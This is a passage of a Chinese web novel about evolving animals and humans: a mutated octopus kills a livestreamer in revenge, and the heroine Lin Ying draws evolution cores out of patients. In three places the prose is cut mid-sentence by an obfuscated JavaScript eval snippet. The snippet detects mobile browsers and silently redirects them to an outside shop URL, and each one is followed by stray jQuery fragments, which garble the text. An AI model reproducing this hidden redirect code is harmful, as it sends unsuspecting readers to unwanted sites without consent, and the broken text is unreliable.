“那就是,是你想的那种。”说到这里,林萤转过头,看向马浩哲和田畅,“对了,你们跟着教授在做什么,有没有接触到进化的试验?” “有的,但是教授只让我们做最基本的事情,我感觉他不大放心我们,或者说不太信任我们……”田畅抽出一张纸巾擦了擦嘴。 “林萤,你刚才说那只大章鱼进化了,海鲜店里的人会不会很危险?”马浩哲仍然在看着屏幕里的直播。 林萤手指一点,将自己的留言发在评论区,然后抬起头,“我也不知道,现在大家是在摸着石头过河,没有人知道水有多深,没有人知道前面会不会有石头,更没有人知道会不会突然发大水……” “啊啊啊!”话刚说到一半,却被马浩哲打断了,他突然指着直播屏幕叫了起来。 “林萤,林萤,这个‘我的肱二头肌很发达’是不是你?” “是啊,怎么了?” “大家都在骂你!” 林萤看向屏幕,她刚才发了一条留言:请尽快将章鱼放回海鲜池,并且组织人员撤离本店。 此时此刻,屏幕里全是骂她的,用词五花八门。 “你家住海边,管的那么宽?” “呦,今天真是一波未平一波又起,前面走了一个小马哥,后面又来一个肌肉哥,是对家派来捣乱的吗?” “是的,圣母圣父团建中……” “还‘请尽快’,请尽快闭嘴吧,没人想看你说话。” “多大脸啊,还要我们女鹅离店,市长来了都要笑着请我女鹅吃饭!” “就是就是,单细胞动物格外多,尤其是今年。” 林萤皱着眉头,“这些粉丝这么维护她吗?” 马浩哲瘫在沙发上,“是啊,饿霸的粉丝都把她当自己的孩子养,也包括几分钟前的我,我也是把她当女鹅来看待的……” 田畅瞥了他一眼,“她比你大。” “是呀,也真是奇怪,可能是她太有亲和力了吧……唉!林萤,你被踢出直播间了,看来刚才管理员对我手下留情了……”马浩哲又直起身子,看向直播,“怎么办,他们不听我们的?” 林萤微微侧过头,竖起耳朵,很快,她松了一口气,“林指导的人过去了,距离我们告诉他大概只过了四分钟,速度可以。” “你怎么知道?” “我在直播里听到了同一种车的声音,是中午我们乘坐的那种。” 马浩哲转过脸,嘴巴变成了“0”形,“牛啊!林萤,车的声音你也能辨认。” 田畅也若有所思地看向林萤,只是他的眼镜上全是雾,不得不用食指勾住镜框往下拉了拉,将眼镜拉到了鼻尖,看上去像是戴着老花镜的爷爷。 然而,还未等林萤松一口气,直播的画面突然变动起来,只见从后厨突然跑出来几个举着铲子的厨师,他们一边拼命向外跑,一边惊惧地叫喊着。一旁的服务员起先还拦住跑在最前面的人,想要问些什么,却在往里看了一眼后,大叫一声,跟着厨师一起跑了。 饿霸是背对着他们坐的,事发时正在和粉丝聊得火热。只是听到几个人的尖叫声,看到几个飞奔出去的身影,却并不知道究竟发生了什么。 “目前来看,这家店有一个缺点,那就是太吵了,扣一分,满分十分,还剩九分。对我来说,店家的环境同他们的食物味道一样都很重要……”饿霸的话还没说完,镜头突然抖了一下,她不满地撅起嘴巴,看向摄像大哥,“哥,怎么回事呀?” 就听摄像大哥“啊”了一声,脸色大变,身子猛地往后一倒,接着半滚半爬地往外走,边爬边冲女孩摆手,“快跑!” 他跑得决绝,连以往视为“生命”的摄像机都不要了。 “嗳?”饿霸的脸凑近屏幕,试图通过直播镜头看向自己的后方,然而并没有看到什么异常。 她心里有些发毛,但是此时直播间正在疯狂地涌入观众,在线人数又创新高,饿霸一时舍不下这泼天的流量。 “真是奇怪,不知道出什么事了,宝宝们先别急,等我去看看。” 说着,她准备自己拿起面前的相机去后面看看,却在屏幕上看到观众们的一连串留言。 “女鹅,危险!” “快往外跑,这个时候就不要好奇了!” “妈呀!那个东西是什么?” “你们都胆小,我却想仔细看看,我可是克系爱好者。” “这个世界太魔幻了,我一定是眼花了,妈妈啊,我再也不熬夜了!” “刚才那个肱二头肌让离店,是不是他知道点什么?” 饿霸举着手机转过身向后一看,没有着火没有烟雾没有异常的味道,不少饭桌上还摆着未吃完的食物,人却都离开了。 她又看向海鲜店的门口,那里摄像大哥和几个好心的店员似乎很着急,正在对自己叫嚷着什么。还有一群穿着制服的人正拨开人群,往店里走。 “切,什么事都没啊!”她小声说了一句,转头,摆出最上镜的表情将镜头对准自己,“宝宝们,今天这家店太奇怪了,我们可能吃不上饭了,大家知道附近有什么其他店吗,可以推荐给我……” 然而,没有一个人回答她,所有留言都变成了红色,一行一行的“危”字刷满了屏幕。 “大家今天是怎么啦,直播平台出问题了吗……” 饿霸的话还没有说完,突然,一个滑溜溜的东西贴在了她的脖颈上,那东西冰冰凉凉,骤一贴上冷得她一个激灵,拿着的摄像机也掉在了餐桌上。 饿霸战战兢兢扭头看去,猛地对上一双猩红的怪眼。 “啊——” 直播的最后一个画面,定格在一个黏糊糊蠕动的东西上,还未等大家看清那是什么,直播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598658|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 间的画面一黑,直播被强行中止了。 黑色的屏幕上映出马浩哲有些苍白的脸。 “林萤,刚刚那个庞然大物……是那条八爪鱼?” 林萤点点头,“毫无疑问。” 马浩哲似乎有些害怕,又有些兴奋,他拿起一包充满了气的妙脆角想要打开,却总是手滑,原本一下就能拆开的包装费了老半天都没有打开。 田畅见状,拿过他手里的包装袋,捏在豁口处,一下子就把它打开了,他敞开包装口,递给马浩哲,“吃吧,压压惊。” 马浩哲一边发抖一边拿起一个妙脆角塞进嘴里,“其实,我也不是害怕,我是激动……太魔幻了!说不定以后会见到口吐人言的马、长着翅膀的猫、会在陆地行走的鱼!” 他说着,扬了扬手中的袋子,几个妙脆角被抖落出来,掉在桌面上。 田畅捡起来吹了吹放进嘴里,笑了笑,“挺好的,我还以为你会怕。” 马浩哲坐了下来,“有什么好怕的,要是不进化最终都会灭亡,咱们学生物的,知道那么多灭绝的生物,其中一个原因就是它们的进化速度赶不上环境的变化速度,而且我对进化持乐观态度,我认为这也是一个前所未有的机会,无论是对个人还是对社会。” “哦?”林萤瞬间来了兴趣。 田畅也凑近了些,“展开说说。” “我在想,如果说几个月前的时代是经济的时代,那么现在一定变成了生物学的时代,我们人类将从关注人的社会属性转变成关注我们的自然属性和精神属性,在这样极具动荡的情况下,反而多了一个认识自己的契机……” “可以啊马胖子,难得见你主动思考……” 正在这时,林萤的手机响了两下。 是林祐均发来的视频,以及一串语音。 马浩哲立即止住话头,用手划了一下林萤的手机,“快,看看他发了什么!” 林萤打开对话,将视频点开。 就见路灯下,一个庞大的黑影正在迅速向前逃亡,随着它的动作,一片片黑乎乎的东西从它身上飞起,像是甲壳虫,又像是成群的黑蚊,惊得路上的车子和行人都停了下来。 黑影的身后跟着几个人,虽然穷追不舍,却始终赶不上它的速度,就在一个拐角处,那个黑影突然间消失了,就仿佛凭空蒸发了一样。 “林萤,那个东西太狡猾,我们的人跟丢了。目前看来,你说的是对的,它的确是只变异的章鱼,并且它喷出的墨汁有轻微的腐蚀作用。” 林萤回复他:你现在在哪里? 对方回复:我距离那边还有十八分钟。 林萤:附近有水吗?告诉他们注意有水的地方,章鱼并不能离水太久。另外,那只章鱼是拟态大师,很有可能模拟周围的环境,躲过我们的眼睛。 林祐均:好的。 车里的林祐均发完这两个字,抬头看向车外,车水马龙,一排排车灯组成红色黄色的河流。他又想起林萤,这个和他有着“本家姓”的女孩,自他见她的第一眼起,便觉得她身上似乎有一股与众不同的魅力,她有深入微毫的观察力和极为准确的判断力,所以他才会在接到她电话的第一时间,力排众议,驱车前往事发地。 事实证明,她是对的。 16. 白猫 另外一边,田畅拿过林萤的手机,又一次点开视频,这次,几个人都清楚地看见,从那个黑影身上飞出来的并不是别的东西,正是墨汁。 这些墨汁不仅洒在了地上,也溅在了路旁的行人身上,林萤听到并不连贯的惊叫声和倒吸冷气的声音,看到行人脸上的黑斑,显然,这是进化章鱼的一种攻击手段。 “林萤,视屏里这个章鱼都有两个人那么高了吧,它之前不是还小小的吗,难道它会变化体型?” 林萤也发现了这点,“极有可能,毕竟它都进化了,已经不能以常理来揣度它了。” “那你刚才还说它需要水,万一它呼吸系统也进化了呢?” “我不知道,在没有抓住它之前一切都只是猜测。” 田畅将林萤的手机还回去,一边说话一边靠在了沙发上,“都进化了才好,这只小章鱼就不孤单了!毕竟都是生物,凭什么只有人类高人一等,我支持章鱼上位,统治世界。” “畅畅,想不到你还是个反叛者……”马浩哲一边说着,一边低头玩手机,而后他“腾”地一下,从沙发上弹了起来,举着手机叫嚷道:“天呐!好多人拍到了那只章鱼的照片,词条爆啦!” 林萤凑过去看,就见一条名为“变异海鲜袭击无辜路人”的新词条出现在了热搜上。 点开来看,里面是变异章鱼各种角度的拍摄,甚至也包括了海鲜店里的直播截图。 “可惜我们没在现场……” “是啊,从研究院过去太远了。” 马浩哲关上手机,揉了揉眼睛,打了一个哈欠,“折腾一天,有点熬不住了……我要回去睡了,你们也早点休息吧!” “嗯,好。” 马浩哲虽道了别,却没有直接离开,而是将未吃完的零食全部收到了一起,抱在了怀里,顺便把田畅的零食也拿走了。他抱着一堆东西来,又抱着一堆东西走,就好像食物完全没有被消耗一样。 林萤和田畅互道晚安后也回了房间。 关了灯,躺在床上,林萤却睡不着,左思右想总觉得自己似乎忽视了什么重要的事情——究竟是什么呢? 她想越精神,索性起身来到窗边。 打开窗,微凉的夜风轻轻吹拂,将她有些焦躁的情绪慢慢抚平。 就在这时,她突然看到不远处的树上有一个白色的影子,一瞬间,林萤就想起了自己在宿舍楼前看到的那个白影,从大小来看,两者很是相近。 那是一只猫吗? 林萤眯起眼睛仔细看去,原本有些模糊的画面在她的眼中变得越来越清晰,她看到了。 树上的白影,果真是一只白色异瞳长毛猫,它的一只眼睛是金色的,另外一只是蓝色的,它的前爪直立并在一起,后腿蹲在树干上,一条毛茸茸的大尾巴垂在后面,尾巴尖正一下一下扫着下方的树叶。 林萤心里一动,脱口而出,“好漂亮的猫啊!” 就见那只白猫的耳朵微微一动,而后朝林萤的方向看了过来,一双眼睛在黑夜里像两颗夜明珠。 林萤试着朝那只白猫挥挥手,“你好呀小猫,你也睡不着吗?你过来陪我吧,我这里有很多吃的。” 林萤说完,本不抱什么期待,可话音刚落,不可思议的一幕发生了。 只见那只白猫站了起来,慢慢地向前走了几步,停在树梢,后脚用力一蹬,整个猫身腾空而起,跃上另外一枝距离林萤更近的树干,接着如法炮制,一跃一跳,几个呼吸之后便来到了林萤的窗前,而后蹲坐在枝头,眼睛直直地望向她。 它的尾巴在快速地甩动,瞳孔大大黑黑的,一双妙脆角似的耳朵也向后压平,显然非常紧张。 原来是一只胆小却贪吃的小猫啊! 林萤愣了一下,又惊又喜,她生怕一个不慎猫咪跑掉,忙压低了声音,“稍等,我去给你拿吃的。” 她轻手轻脚打开冰箱门,在里面翻找出两包鸡胸肉,又拿了一盒舒化奶,用热水温了温,然后将东西放到了窗台,然后退开一些距离。 “小猫咪,来吃吧!” 话音刚落,那只猫“噌”地一下跳到了窗台上,俯下身低头凑近食物,鼻尖微微抽动了几下,而后似乎露出了一个很嫌弃的表情,奇怪,林萤居然能从一只猫的脸上看出嫌弃,“你不喜欢吗?我记得猫咪可以吃鸡胸肉的,快吃吧!” 就见猫咪不情不愿,又凑近食物嗅了几下,而后才张开嘴慢慢吃了起来。 “乖,慢慢吃,要吃完哦!” 林萤又往回退了几步,坐在床边,支着下巴一眼不眨地看着进食的白猫。 动物真可爱呀,像大自然的精灵一样! 但与进化潮共涨的便是淘汰潮,有朝一日,或许这样软萌的动物会成为濒危物种,被自然淘汰——这何尝不是一种遗憾。 想到这里,林萤轻轻拿起手机,想要记录下这美好的画面。 她打开手机,发现手机上有一条未读信息,刚才她准备睡觉,将手机静音了,所以并没有听到提示声。 消息来自林祐均。 “林萤,我刚到这边了,但是得知了一个非常不好的消息,那位叫做‘饿霸’的女主播死了,她的死状……很惨烈。我们仍旧没有找到那只会变化的章鱼,现在可以确定的是它已经有了主动攻击人类的倾向,所以我们的对策将从活捉它调整为击毙它。” 林萤飞快打字:她是被进化章鱼杀死的吗? 林萤等了几分钟,没有等到回信,应当是那边在忙。她迅速在网上搜索相关消息,却发现之前的内容全部被删除了,就连饿霸最新一期的直播切片也全部消失了,更是半点不见“变异章鱼”的信息,于是林萤只得放下手机。 再抬头去看,窗台上的小猫咪已经不见了。 似乎起了风,天地之间响起了呜咽声,打破了夜的宁静。 林萤过去查看,舒化奶喝了一半,鸡胸肉全吃完了。她探出头去看,树影婆娑,却没有找到那只白色的猫咪。 林萤将吃剩的东西收回来,然后躺在了床上,此时已是半夜一点钟,她却依然没有半点睡意。 最担心的事情还是发生了——进化后的动物有了主动攻击人类的倾向。 不论是对人类还是对动物,这都不是一个好消息。 林萤不知道未来会发展成什么样,这两天发生的事情就像在做一个奇幻的梦,然而天文课暴毙的男生、胳膊会变长的赵师傅、取出进化核后能力消失的林祐均、直播时的章鱼,以及……林萤抬起手摸着自己的眼睛,以及不论是视觉还是听觉都进化了的自己,这一切的一切,都在提醒她,这不是梦,这是真实发生的事情。 林萤有太多太多没有答案的问题,她带着这些问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604219|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 题,在半梦半醒间进入了浅度睡眠。 一夜噩梦,睡醒后异常疲惫,手机上两条未读的语音信息,林萤一边刷牙一边将它们点开。 “林萤,早上敲门你还在睡,我们就先走了,你多休息一会吧!” “快来食堂,这里的早餐鸡蛋饼很好吃!” ——是田畅和马浩哲的。 “初步推断是的,那只章鱼很聪明,它将我们引到外面去,自己又重新返回了海鲜店。我们在周围找了一圈,包括水库、泳池、喷泉,大概半小时后一无所获才重新返回海鲜店,但为时已晚,没有救下那位主播。” ——是林祐均的。 林萤迅速洗漱完毕,出门,在楼下遇到了正在和小圆一起做养身操的宿管阿姨。 “阿姨早上好,小圆早上好!” “早上好呀,林萤!” “林萤早上好!” 阿姨停了下来,朝林萤挥挥手,小圆有样学样,也挥动着它圆滚滚的手臂。 “你们在锻炼身体呀!” “是啊,一天不锻炼我的胳膊就跟生锈了似的,快去吃饭吧,去晚了好吃的都被吃完啦!” “好嘞!” 林萤跟一人一机道别,正要离开,突然听到角落传来一声猫叫。 她绕过宿舍大门,下了两个台阶,顺着声音的来源寻去,就见墙的拐角处有一片小空地,一只眼熟的大白猫,正蹲在空地上看着面前的蒸鸡蛋,它闻啊闻,嗅啊嗅,好像很喜欢这碗蒸鸡蛋,却一口也不吃。 “这个家伙,往日最喜欢我做的这道虾滑蒸蛋了,可今天却连嘴都不张开,不知道是不是生病了……”阿姨也走了过来,在一旁抱怨,“不行,我得带看去看看,拍个片什么的!” 说着,阿姨就想去抓那只猫。 白色异瞳长毛,蓬松、优雅,这不是昨天晚上林萤喂过的那只小猫嘛! 林萤哭笑不得,“阿姨,它应该不是生病,只是吃多了。昨天晚上我看到它,给它喂了点食物,所以它可能不太饿……” 阿姨转过头来,“你给它喂了什么?” “两包鸡胸肉,还有一盒舒化奶,鸡胸肉吃完了,舒化奶只喝了一半……” 林萤还没有说完,阿姨就打断了她的话,“哎呀呀,这只猫平时特别挑嘴,那些加工的零食它连闻都不愿意闻一下,更别提吃了……”说着,她看向林萤,“看来这个小坏蛋很喜欢你啊,你让它吃它就全吃光了,第一次见它这么听话!” 林萤突然想起昨夜自己从这只猫的脸上看出了嫌弃,她原本以为那是自己的错觉,却没想到这只猫是真的在嫌弃自己给它投喂的食物。 她讪讪笑了笑,“阿姨,它不想吃就不吃了吧,时间不早了,我先走啦!” “去吧去吧,再不走就没饭了!” 不多时,林萤便来到了食堂。 昨天来食堂的时候时间太晚,大半窗口都关闭了,加之没有胃口,林萤只选了一样小菜便坐在原位,所以并没有仔细看过这里,只觉的跟自己的大学食堂有些类似。 这会儿她才看清了这个食堂虽然没有大学的食堂那么大,但是菜品非常丰盛新鲜,不论是川菜粤菜东北菜,还是海里的草原的天上飞的,应有尽有,最重要的是,这里的食物全是免费的!这对于囊中羞涩的林萤来说,简直就跟天堂一般。 17. 什么最重要? 林萤迅速选了一些喜欢的早点,然后端到一边的座位上开始吃了起来,座位前方的方柱上,挂着一个光量子屏,此时正在播放新闻。 “人类进化已经成必然,但如何应对进化带来的危机,也是我们亟需解决的问题,这所试点医院为我们提供了一个解决问题的思路……” 屏幕上,记者在正在采访一家医院,据说这家医院于今天上午紧急成立了一个新的科室——进化科,专门接待进化“患者”,此时进化科外的椅子上坐着不少奇形怪状的“特殊病患”,医生们正在将他们一一安置。 林萤觉得这家医院有点眼熟,正想多看几眼,镜头却已经切回主播室。 由仿生人公司生产、又由网友投票选举的最帅虚拟男主播翻开稿子目视前方。 “下面是一则快讯:据市公安局凌晨通报,‘网红主播’金某昨夜被杀害,凶手是一只变异章鱼,警方正在进行地毯式搜索,据悉,这只章鱼长约一米九、行动敏捷,具备短时上岸能力。请广大居民近期避免夜间单独外出,尤其不要前往湖边河边及其他近水区域……” 林萤咽下口中的茶叶蛋。 “什么变异章鱼,明明是进化章鱼……” “没有告诉大家真相,是怕引发恐慌。” 突然,一道男声传来,伴随着餐盘触击桌面的声音。 “这没人吧?” 林萤摇摇头,“请坐。” 林祐均在林萤对面坐下,他仰起头,喝了一罐酸奶,“本来所有的信息都被压下去了,但是我们觉得,堵不如疏,生物进化不可逆,迟早大家都会知道,还不如慢慢放出一些信息,好让大家有个心理准备。” 林萤颔首,“是这个道理。方便问一下那个主播……” 林祐均拿着勺子正在搅拌碗里的胡辣汤,闻言抬眼看了看林萤,“那个主播,她的尸体被分成了三份,一份切成片放在案板上,一份扔在热汤里,还有一份被烫熟了放在腌制菜的桶里。我们暂时不知道章鱼为什么这么做,但是很明显这是一种报复行为。” 林萤一惊,“怎么会?!章鱼并不是一种报复心很重的动物,你们是怎么确定主播是章鱼杀的?” “怀疑有理有据,但是后厨有监控,我们是查看监控知道凶手的。” 林祐均斩钉截铁地说完,而后压低声音,说他们当时在外搜索了一段时间,但是都没有那只章鱼的痕迹。乘着这段间隙,店家返回了海鲜店,将弄得乱七八糟的店面收拾了一下,当他们收拾得差不多的时候,那个名叫“饿霸”的受害者也回来了,她是来拿她购买的海鲜的,她已经付过了钱,打算换家海鲜店继续直播。 从受害者进店到退回手工费,这一流程都很正常,直到她在服务员的带领下来到后厨,亲眼确认了一下对方装的是自己选的那些虾蟹。就在这时,突然,受害者被一股大力拉到了厨房中央,而那名服务员则是被推出了后厨,接着“嘭”一声,后厨的大门被紧紧地关上,而后又被什么东西挡了起来,怎么推都推不开。 服务员慌忙跑出去求救,还未出店门,就听见女人的惨叫声。整个过程持续了约五分钟,待众人合伙撞开厨房门的时候,只看到一片血红,画面太残忍,不少人当场就吐出来了。 林萤皱着眉头,“章鱼当时还在里面吗?” “在,但很快,它就逃走了。后厨除了一个紧锁的安全门,便没有其他出口,猜猜看,章鱼是从哪里逃走的?” 林萤想了想,“下水道?” “真聪明,就是下水道,那个章鱼当时也被血液染成了红色,一度骗过我们的眼睛,让我们以为它是受害者腹内的器官,但很快,它从我们的枪械中判断出它处于弱势地位,所以便乘乱钻进了下水道。” “你说受害者的尸体被分成了三份,一份切成片放在案板上,一份扔在热汤里,还有一份……” “被烫熟了放在腌制菜的桶里。”林祐均出言提醒。 林萤猛然想起了饿霸直播时说过的话——女孩指着章鱼,对服务员说:“处理成三份:一份白灼、一份刺身、一份用来涮火锅!” 这可不就是白灼、刺身、涮火锅,只不过按照林祐均所说的顺序,换成了刺身、涮火锅、白灼! “那只进化的章鱼,果然是出于报复袭击的受害人……”林萤暗自呢喃,连手中的筷子掉了一根都没察觉到。 “什么?”林祐均没有听清。 林萤将饿霸昨天晚上直播时的事情告诉了他,而后两人一起沉默了片刻。 “也好。”半晌后,林祐均突然冒出两个字,接着,他又叹了一口气,“至少不是无差别攻击,其他人可以暂时放心了。但是,总有要吃海鲜的人,总有要吃肉的人,如果进化后的动物都像这只章鱼一样难搞,那人和其他动物之间的和谐关系将会被打破,演变为对立。” “章鱼并不是报复心很强的动物,但进化后的这只章鱼有着极重的报复心理,也就是说进化可能改变物种的习性……”林萤想到了什么,她抬起头问:“那只章鱼的样子,你看清了吗?” 林祐均摇摇头,又点点头,“我没有真正看到过它,只是通过监控画面看到的,跟你在电话中描述的非常接近。它的眼睛是红色,能变化大小,进化出来的‘手指’非常灵活,足以像人一样举起刀刃,而且它的力气非常大,只用了不到五分钟就将受害者肢解成一堆肉泥……” 回想起那个画面,林祐均不由地起了一层鸡皮疙瘩。正在这时,他的手机突然响了,他接起电话,说了两句,却突然看向自己面前的林萤,“在,她恰巧就在我旁边,我们正在食堂吃早饭,嗯,好,我这就给她说。” 说罢,林祐均挂掉电话,冲林萤道:“找你的。” “什么?” 林萤不明所以,她还沉浸在刚才林祐均描述的画面中:那个血红眼睛的章鱼,八只爪子齐齐蠕动,挥动着斩骨刀,将一个活生生的人类大卸八块。 “林萤,唐医生见你还没去实验室,把电话打到了我这里。” “咦?”林萤有些惊讶,“我记得那个叫做豆豆的机器人那里有我们所有人的资料,上面应该有我的电话号码呀!” 林祐均笑了笑,“你不知道,唐医生这个人呢最不喜欢人工智能,具体原因我不清楚,只知道她觉得机器人冷冰冰的没有人味……” “人味……”林萤重复了一下这个字眼,而后问林祐均:“唐医生找我什么事?” “她说她今天要借你的双眼一用。吃完了吗,吃完了我们走吧,别让她等急了。” 林萤迅速吃完最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610057|205358||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一口食物,两人刚出食堂,便看到一辆白色的小轿车停在食堂的大门口,坐在副驾驶的唐诗穿着一件玫红色的冲锋衣,戴着黄色镜片的太阳镜,远远地朝二人招手,“林萤,这边!” 林萤快跑过去,然后在唐诗的催促下坐上了后座。 “谢谢林指导,再见!”唐诗说完,关上了车窗。 下一秒钟,小轿车缓缓启动,将林祐均甩到了后面。 林萤朝林祐均挥挥手,然后坐直了身体,还未等她开口,唐诗的话从前面飘来,“林萤,今天你只有一个任务,那就是救人!” “救人?” “就像昨天救乔霁川,今天,你需要救第二个、第三个、乃至更多的乔霁川——就用你的眼睛。” 唐诗的提示很明显,她显然意识到林萤说的那个“冰晶”在进化中起到了非常大的作用,那个,自己看不见,林萤却能看到的神秘冰晶。 “那研究所那边……” “那边的事情不用你担心,我之前一个人也忙得过来。”眼见林萤有些不解,唐诗又问,“林萤,你说,这个社会什么最重要?” 林萤下意识地说道:“安全与秩序、生态环境、钱、教育或者医疗?” “都不是,是人。” 唐诗说完,便不再言语。 林萤瞬间便明白了唐诗的意思,人是所有规则和秩序的创立者和目的,也是唯一目的,如果连人都不存在了,那么所有的概念都将归为零。 不知为何,林萤又想到了那句话——生命之所以会进化,是因为它感受到了危机并且有强烈存活下去的欲望。这些进化的人群,是不是都有这样强烈的生存欲望呢? 汽车行驶了没多久,便来到了一个熟悉的建筑前。 “唐老师,我们昨天好像来过这儿……”林萤又看了看,确实是昨天给林祐均做手术的那栋楼。 “对,这是研究院的医务室,我们将一楼临时改成了进化科。主要是考虑安全因素,外面现在没有那么太平。” 唐诗说完,率先下车,林萤跟在她的身后,在一众人员的指引下来到科室。 这里的布局真是眼熟啊,林萤看着走廊里悬挂的“进化科”和似曾相识的装修风格,这不正是新闻里播的那家医院嘛!她当时一边吃饭一边看,只当做是打发时间,没想到不到半个小时后,自己摇身一变成了这里的“医生”,说句缘分也不为过了。 一众人没有过多寒暄,而是直接来到了病房。 “唐博士,我们这里现在有七名患者,我们正按照您教的方法,一点点将伤患部位的液体抽出来。” 病床上躺的是一位青年女性,她大约二十八九,腰侧生出的肉瘤与乔霁川的分外相似。 一个护士站在床侧,正在按照唐诗的方法,用真空袋收集肉瘤里面的废液,见她们进来,忙将位置让开。 唐诗迅速地判断了一下,“好的,辛苦你们了,接下来这个病人就交给我们了。” 唐诗摆摆手,示意其他人都出去,然后和林萤一起像昨日那样找到病人体内的“冰晶”,当林萤的手指将要触到那发亮的光源时,那个冰晶又消失了。 林萤搓了搓发烫的指尖,转头看去,就见唐诗正在看她,两人视线相对的那一刻,唐诗朝她点了点头。 18. 返校 床上躺着的人在取出“冰晶”后,便不再进化,很快,人也恢复了正常,而那肉瘤则变成了死皮,自动脱落下来。 其后,林萤便在唐诗的协助下,一个一个病人地取出冰晶,等她们忙完,时间已经来到了下午。 林萤深呼一口气,坐在椅子上休息,这时,一杯水递到了她的面前。 “林萤,辛苦了。” 林萤摇了摇头,“我还好,能帮到大家我挺开心的。” 唐诗在林萤的旁边坐下,斟酌几番后,缓慢开口,“其实……昨天你走后,我找了一个眼部进化过的人,她也可以看到你说的那个‘冰晶’。”说到这里,唐诗停顿了一会,见林萤面上没有什么表情,又继续说道:“但遗憾的是,她没有办法拿出那个东西,只有你,只有你能。” 林萤双手握紧杯子,“唐老师,我其实……” “林萤,你不用说,我也不会说,这就当成我们的小秘密。”唐诗说着,轻轻拍了拍林萤的肩膀,“昨天晚上‘进化废液’的检测结果出来了,里面除了水分和骨胶原,还有一种我们从来没有见过的物质,我称其为JH-PBJ,它应当是引起患者部位爆炸的原因。” “PDJ……Propyldihydrojasmonate,二氢茉莉酸丙酯?” “不不不,不是。”唐诗摇头,“是JINHUA-PENGDAJI,进化-膨大剂,用拼音拼。” 林萤恍然大悟,“原来是这样!” “我让机器人把膨大剂单独提取出来,然后将含有膨大剂的废液和不含膨大剂的废液,以及只有膨大剂的废液,三种全部对比一下,到时候看看结果。” “嗯,好。” 唐诗仰起头,一口饮尽杯中水,“我们这里是第一家可以使进化失败的人不受到伤害的医院,知道这里的进化者越来越多,等下慕名而来的人也会更多,你还能坚持住吗?” 林萤点点头,“我能!” “好!那我们继续吧!” 这天,林萤一共救助了三十多个进化失败的人,到了晚上,陆续还有病人送来,林萤索性住在了值班室里。 她躺在狭窄的小床上,感受着发烫的指尖,昨天晚上始终想不明白的问题突然间就有了答案。 她终于知道自己一直忽视了什么——那就是突然消失的“冰晶”去哪里了。它们,它们都被吸纳进了自己的身体!而且她也一直忽视了自己身体的异常! 如果说,这些东西全部在自己的体内,换而言之,也就是说除了自己本有的进化核,她还拥有三十多个未完全进化的进化核。 嗯……林萤觉得这样念有些拗口,她想了想,给那些“冰晶”统一命了一个名字:半进化核。 这些半进化核那么小,却能使得进化者们陷入无尽的痛苦,可在自己的身上……林萤又伸出手,黑暗中,她能感觉到一股异样的能量在指尖里充斥,而后慢慢地消散在她的身体里,或者,被她的身体所吸收。 直觉告诉林萤,她的进化与旁人似乎不太一样,比如说自己的听觉更敏锐也更智能,看得更清楚,夜视能力也变强了许多,但是目前案例太少,自己又有意隐藏进化过的事情,所以除了比较明显的变化,林萤目前对自己的能力也知之不深。 ——罢了,不想了,先好好休息,养好身体才能做事。林萤翻过身,找了一个舒服的姿势,窝在小床上,很快便睡着了。 之后,林萤每天的任务就是帮进化失败的人摘去半进化核,她熟能生巧,手下速度也变快,第一天尚且需要半个多小时,到了现在,只用不到五分钟,就能将病患体内的东西取出来。当然,收进来的病患也越来越多,时间也越来越赶,不快不行。 一开始林萤还在计算自己到底吞噬了多少个半进化核,等这个数量达到一百以上后,她就放弃记数了。 她感觉自己就像是一个充满了无限引力的黑洞,不论有多少进化核,都能将它们吞噬。 连续几天,林萤吃住都在医务室。饭是由她选好,机器人跑腿带过来的,她也从护士的值班室搬到了一个独立的房间内,这里和她住过的职工宿舍有点像,只不过更小一些,但各种用品一应俱全,院方甚至还准备了几件适合林萤的常服,虽然她也没什么机会穿。 除此之外,林萤留在职工宿舍的东西也送了过来,她感觉自己就像是个被重点保护的对象,衣食住行都有人照顾着。 “可不就是重点保护对象吗?” 唐诗听她这么说,笑嘻嘻地接过了她的话。 这段时间,经过多番实验,唐诗发现“JH-PBJ”对于温度非常敏感,于是她与林萤在几名“患者”的同意下,采用局部冷冻的技术,将靠近半进化核的废液冷冻,从而取出了包裹着半进化核的进化废液冰块,几场手术都非常成功。 此间,林萤见到了那名叫做王雅的视觉进化者,王雅可以看见半进化核,但是却取不出来,有了这项技术,就算林萤不在医院,王雅也可以接替她来帮助这些进化失败的人。 自从王雅加入后,林萤就单独成了一组,唐诗和王雅合作成为第二组,两组同时开工,救人的效率也高了不少。不过,林萤这边是直接将半进化核吸收,而唐诗她们则是冷冻起来,一部分进入实验室,一部分存进库房。 